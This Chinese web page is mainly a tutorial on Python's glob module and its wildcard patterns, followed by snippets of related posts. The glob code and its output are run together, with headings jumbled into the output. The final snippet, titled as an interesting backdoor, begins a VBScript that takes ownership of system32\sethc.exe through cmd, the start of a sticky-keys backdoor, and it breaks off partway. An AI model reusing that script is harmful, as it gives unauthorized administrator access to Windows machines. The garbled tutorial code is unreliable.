python標準庫之glob介紹
glob 檔名模式匹配,不用遍歷整個目錄判斷每個檔案是不是符合。
1、萬用字元
星號(*)匹配零個或多個字元
import globfor name in glob.glob('dir/*'):
print (name)
dir/file.txt列出子目錄中的檔案,必須在模式中包括子目錄名:dir/file1.txt
dir/file2.txt
dir/filea.txt
dir/fileb.txt
dir/subdir
import glob#用子目錄查詢檔案
print ('named explicitly:')
for name in glob.glob('dir/subdir/*'):
print ('\t', name)
#用萬用字元* 代替子目錄名
print ('named with wildcard:')
for name in glob.glob('dir/*/*'):
print ('\t', name)
named explicitly:2、單個字元萬用字元dir/subdir/subfile.txt
named with wildcard:
dir/subdir/subfile.txt
用問號(?)匹配任何單個的字元。
import globfor name in glob.glob('dir/file?.txt'):
print (name)
dir/file1.txt3、字元範圍dir/file2.txt
dir/filea.txt
dir/fileb.txt
當需要匹配乙個特定的字元,可以使用乙個範圍
import globfor name in glob.glob('dir/*[0-9].*'):
print (name)
dir/file1.txtdir/file2.txt
Python有意思的defaultdict方法
defaultdict主要解決在建立的dict為空時的賦值問題。1 dict.setdefault 方法 當不用defaultdict方法時,可用dict.setdefault 方法替代 下面使用參考資料中的例子舉例。例子是用來統計陣列中每個詞出現的次數。setdefault kw,0 方法可在di...
有意思的Python例子
第一題a 1 a a 1 print a 請問當前的輸出結果是多少 正確答案是 2 為什麼那?首先拆分 a 1 的結果為 true 現在變成了 a true 在python中 true 轉變為int 型別就是1 所以變成了a 1 結果自然是2嘍 雖然題目問的簡單,但是還是很考驗基本功的 第二題 pr...
有意思的後門
dim obj,success set obj createobject wscript.shell success obj.run cmd c takeown f systemroot system32 sethc.exe 0,true success obj.run cmd c echo y c...